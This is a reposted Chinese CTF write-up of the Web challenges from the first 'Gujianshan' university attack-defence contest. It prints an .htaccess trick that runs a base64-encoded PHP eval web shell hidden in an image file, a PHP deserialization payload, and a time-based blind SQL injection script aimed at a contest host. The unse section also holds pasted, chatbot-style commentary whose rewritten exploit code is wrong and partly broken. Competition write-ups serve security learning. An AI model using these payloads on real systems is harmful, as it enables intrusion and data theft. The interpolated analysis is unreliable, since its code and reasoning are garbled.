“古剑山”第一届全国大学生网络攻防大赛初赛(Web部分复盘)

这篇具有很好参考价值的文章主要介绍了“古剑山”第一届全国大学生网络攻防大赛初赛(Web部分复盘)。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

Web

1、Web | upload_2_shell 
参考:SUCTF的一些题解 - SecPulse.COM | 安全脉搏

BUU WEB [SUCTF 2019]EasyWeb_buu easy_web-CSDN博客

 但这道题使用的是.htaccess解析

.htaccess:

这段文本似乎涉及一个安全问题,即上传恶意文件并利用服务器配置的漏洞来执行远程代码(RCE)。这里的.htaccess文件被用来重写图片文件的解析方式,使其能够被PHP解析,并自动执行base64编码的PHP代码。

#define width 1337
#define height 1337
php_value auto_prepend_file "php://filter/convert.base64-decode/resource=./wenda.jpg"
AddType application/x-httpd-php .jpg
 (小编能力有限当时就只能做到这一步了,比赛期间flag没能给大家打出来真的很抱歉,小北我会继续努力的!)
wenda.jpg:
GIF89a66
PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTs/Pg==

然后上传然后rce:

“古剑山”第一届全国大学生网络攻防大赛初赛(Web部分复盘),CTF,网络,php,web,网络安全
flag{b0909bf1-93ce-4a34-9db8-108d387e0802}
2、Web | unse
源码:
<?php
    include("./test.php");
    if(isset($_GET['fun'])){
        if(justafun($_GET['fun'])){
            include($_GET['fun']);
        }
    }else{
        unserialize($_GET['yourcode']);
    }
    highlight_file(__FILE__);
?>

先伪协议读取test.php 然后得到反序列化源码:

这段PHP代码似乎存在一些安全问题,因为它允许通过GET参数直接包含和执行文件,这可能会导致远程代码执行(RCE)的安全漏洞。

这段代码的工作方式如下:

  1. 如果fun参数在GET请求中设置,它会检查justafun()函数是否返回真。如果返回真,那么就会包含并执行相应的文件。
  2. 如果没有设置fun参数,那么它会尝试反序列化yourcode参数。
  3. 最后,它会对当前文件进行语法高亮处理。

其中,justafun()函数可能是一个安全检查,用于确保只包含和执行预期的文件。然而,通过直接使用$_GET['fun']作为参数,这可能被恶意用户利用,导致包含和执行任意文件。

这是一个可能的风险,因为PHP的include()函数会执行所包含的代码。这意味着如果一个恶意用户能够通过fun参数包含并执行一个包含恶意代码的文件,那么他们可能会执行任意代码。

为了防止这种情况,你应该避免直接使用用户提供的输入来包含和执行文件。你可以考虑使用白名单机制来限制可以包含的文件,或者在包含文件之前对文件名进行某种形式的验证或过滤。例如,你可以检查文件名是否仅包含预期的字符,或者使用函数如str_replace()来移除可能有害的字符或路径分隔符。

另外,反序列化操作也可能存在安全风险。反序列化是将序列化的数据转回为对象的过程。如果反序列化的数据来自不可信的来源,那么它可能包含恶意代码,导致RCE漏洞。因此,除非你完全信任反序列化的数据来源,否则应该避免反序列化。

总的来说,这段代码需要一些安全修复才能安全地使用。
<?php
$test = "Hello world";
 
include "flag.php";
 
 
function justafun($filename){
    $result = preg_match("/flag|zlib|string/i", $filename);
    if($result){
        return FALSE;
    }
    return TRUE;
}
 
class afun {
    private $a;
    function __wakeup(){
        $temp = $this->a . 'ctf';
    }
}
 
class bfun {
    private $items = array();
    public function __toString() {
        $item = $this->items;
        $str = $item['dd']->knife;
        return 'what the good?';
    }
}
 
class cfun {
    private $params = array();
    public function __get($key) {
        global $flag;
        $tmp = $this->params[$key];
        var_dump($$tmp);
    }
}
a中的$this->a触发bgood中的__toString方法,将$this->a赋值为new bfun()。
bdun中的$items[‘dd’]触发cfun中的__get函数,给$items[‘dd’]赋值为new cfun()。
最后让cdun中的$params[‘knife’]=”flag” 

在上述提供的PHP代码中,我们正在尝试通过多个类的相互作用来获取一个名为flag的全局变量的值。你已经为这些类定义了几个魔术方法,如__wakeup()__toString(), 和__get(),并计划通过特定的方式来触发这些方法。

让我们详细分析你的计划:

  1. afun类的__wakeup()方法中,你试图将私有属性$a与字符串'ctf'连接。但是,由于$a是私有的,你不能直接从类的外部访问它。你需要一个方法来间接地修改它的值。
  2. 你希望$this->abfun类的__toString()方法中触发,并计划将$this->a设置为new bfun()的实例。但是,你需要在某个地方初始化这个afun类的实例,并确保其__wakeup()方法被调用。
  3. 你还希望bfun类中的$items['dd']触发cfun类中的__get()方法。为此,你需要将$items['dd']设置为new cfun()的实例。
  4. 最后,你计划让cfun类中的$params['knife']等于字符串"flag",这样当你尝试访问它时,它会输出全局变量$flag的值。

基于上述分析,以下是如何实现你的计划的代码:

 

php复制代码

<?php
$test = "Hello world";
include "flag.php";
function justafun($filename){
$result = preg_match("/flag|zlib|string/i", $filename);
if($result){
return FALSE;
}
return TRUE;
}
class afun {
private $a;
function __wakeup(){
$this->a = new bfun();
}
}
class bfun {
private $items = array();
public function __construct() {
$this->items['dd'] = new cfun();
}
public function __toString() {
$item = $this->items;
$str = $item['dd']->knife; // This will trigger the __get() method in the cfun class
return 'what the good?';
}
}
class cfun {
private $params = array();
public function __construct() {
$this->params['knife'] = 'flag';
}
public function __get($key) {
global $flag;
echo $flag; // Directly output the flag instead of var_dump(
$$
tmp), which may not give the desired output
}
}
// Initialize and serialize the afun class instance to trigger the __wakeup() method
$obj = new afun();
$serialized_obj = serialize($obj);
unserialize($serialized_obj); // This will output the flag value
上述代码中,我们对类进行了一些修改并添加了构造函数来确保所需的实例化和属性赋值。我们还修改了__get()方法中的代码来直接输出标志值。
<?php
$test = "Hello world";
 
include "flag.php";
 
 
function justafun($filename){
    $result = preg_match("/flag|zlib|string/i", $filename);
    if($result){
        return FALSE;
    }
    return TRUE;
}
 
class afun {
    private $a;
    function __wakeup(){
        $temp = $this->a . 'ctf';
    }
}
 
class bfun {
    private $items = array();
    public function __toString() {
        $item = $this->items;
        $str = $item['dd']->knife;
        return 'what the good?';
    }
}
 
class cfun {
    private $params = array();
    public function __get($key) {
        global $flag;
        $tmp = $this->params[$key];
        var_dump($$tmp);
    }
}

这里注意私有变量需要内部构造函数来进行触发其他魔术方法:

“古剑山”第一届全国大学生网络攻防大赛初赛(Web部分复盘),CTF,网络,php,web,网络安全

这里这种框框换成%00 或者url编码也行 

得到payload:

?yourcode=O:4:%22afun%22:1:{s:7:%22%00afun%00a%22;O:4:%22bfun%22:1:{s:11:%22%00bfun%00items%22;a:1:{s:2:%22dd%22;O:4:%22cfun%22:1:{s:12:%22%00cfun%00params%22;a:1:{s:5:%22knife%22;s:4:%22flag%22;}}}}}

得到flag:

“古剑山”第一届全国大学生网络攻防大赛初赛(Web部分复盘),CTF,网络,php,web,网络安全

flag{9972d10d-566a-42fd-8f6b-d770c1853ea5}

有点类似这道题:

https://www.cnblogs.com/zzjdbk/p/13617530.html

3、Web | 盲人摸象

没做出来 感觉是XFF盲注 INSERT INTO 注入  然后原题...

Bugku writeup3 - Junay的博客

Bugku-INSERT INTO 注入 - 简书 (jianshu.com)

给个脚本:

import requests
import sys
 
# 基于时间的盲注,过滤了逗号 ,
sql = "127.0.0.1'+(select case when substr((select flag from flag) from {0} for 1)='{1}' then sleep(5) else 0 end))-- +"
url = 'http://47.106.186.166:31590/'
flag = ''
for i in range(1, 40):
    print('正在猜测:', str(i))
    for ch in range(32, 129):
        if ch == 128:
            sys.exit(0)
        sqli = sql.format(i, chr(ch))
        # print(sqli)
        header = {
            'X-Forwarded-For': sqli
        }
        try:
            html = requests.get(url, headers=header, timeout=3)
        except:
            flag += chr(ch)
            print(flag)
            break
flag
flag{cdbf14c9551d5be5612f7bb5d2867853}

杂项签到题可以参考小编的这篇博客———Misc | i have the flag:

“古剑山”第一届全国大学生网络攻防大赛初赛————(签到题)Misc | i have the flag-CSDN博客文章来源地址https://www.toymoban.com/news/detail-751577.html

到了这里,关于“古剑山”第一届全国大学生网络攻防大赛初赛(Web部分复盘)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 2020年“创享杯”第一届电子数据取证线上大比武部分Writeup

    近日,某市公安机关接到多名在校大学生报案,称其在做 “网上兼职刷单”被骗取金钱数额不等。经警方初步调查发现嫌疑人张某及同伙经常通过社交平台以高额回报为诱饵,套用真实刷单兼职工作流程,诱骗受害人多次汇款,涉嫌电信诈骗行为。经确认核实,警方对张某进

    2024年02月14日
    浏览(25)
  • 第一届中国AIGC人工智能创作艺术研讨会在京顺利进行

    ​ 11月4日,第一届中国AIGC人工智能创作艺术研讨会在京顺利进行,本次研讨会由中国收藏家协会当代艺术收藏委员会,中国民营科技实业家协会元宇宙工委联合指导主办。 本次研讨会在北京东城区国子监街乙28号中国当代艺术馆举行,与会嘉宾有中国收藏家协会当代艺术委

    2024年02月15日
    浏览(38)
  • 2021 年高教社杯全国大学生数学建模竞赛 E 题 中药材的鉴别 第一题

    目录 1.数据预处理  1.1 数据基本信息探索 1.2 数据可视化 1.3 异常值处理  2. 数据特征值提取  2.1 数据标准化  2.2 PCA提取特征值  3. 数据聚类鉴别药材种类 3.1 肘部图确定K值  3.2 轮廓系数图确定K值  3.3 数据聚类  3.4 聚类结果可视化  4. 研究不同种类药材的特征和差异性

    2024年02月06日
    浏览(59)
  • 全国大学生软件测试大赛指南

    在项目文件夹 mootest 新建一个测试类(文件) 如下面图所示 点击下面图2中的【+】,添加文件。保存文件,建议文件名为 ****Test.java 编写测试类。 如下面图所示 运行测试类,查看成绩 运行测试类,如下图: 查看成绩,如下图: 提交本次比赛(练习)成绩。 如下图 需要建

    2024年02月11日
    浏览(33)
  • 17届全国大学生智能汽车竞赛 中国石油大学(华东)智能视觉组 国特开源

    第一部分:art 矩阵库 透视变换 地图识别 卡尔曼滤波多目标追踪 第二部分:模型训练 环境配置 训练 量化 超模型 数据增强 目标检测 所有开源代码已上传到我的GitHub仓库。 因为寒假回家,大部分的代码都在实验室主机上。所以开源的代码大部分重新编写过,没有经过上车测

    2024年02月11日
    浏览(32)
  • 2017年全国大学生电子设计竞赛综合测评题

    题目如下: 题目要求电源只能使用5V单电源、给运放使用5V单电源供电。 方波发生电路 有点像梯形是因为multisim上的LM324跟不上变化的速度,使用题目中的AD2302即可。 输出为接近5V的方波,使用滑动变阻器分压。 四分频 74LS74中包含俩个D触发器,二分频电路如下,从CLK出输入

    2023年04月15日
    浏览(39)
  • 全国大学生数学建模竞赛【高教杯】- 竞赛题目汇总

    目录 1992 年赛题 A 题 施肥效果分析 B 题 实验数据分解 1993 年赛题

    2024年02月07日
    浏览(36)
  • 【数学建模】2019 年全国大学生数学建模竞赛C题全国一等奖获奖论文

    机场的出粗车问题 大多数乘客下飞机后要去市区(或周边)的目的地,出租车是主要的交通工具之一。国内多数机场都是将送客(出发)与接客(到达)通道分开的。送客到机场的出租车司机都将会面临两个选择: (A) 前往到达区排队等待载客返回市区。出租车必须到指定的

    2024年02月14日
    浏览(58)
  • 全国大学生数学竞赛备考——高数上(极限、导数、微分、积分、级数)

    全国大学生数学竞赛 竞赛进程分为两个阶段,第一阶段为全国大学生数学竞赛初赛(也称为预赛、赛区赛) 第二阶段为全国大学生数学竞赛决赛 非数学类:竞赛内容为大学本科理工科专业高等数学 ( 只有高等数学一门课程 )课程的教学内容,高等数学教材中出现的,包括选修的

    2023年04月08日
    浏览(28)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包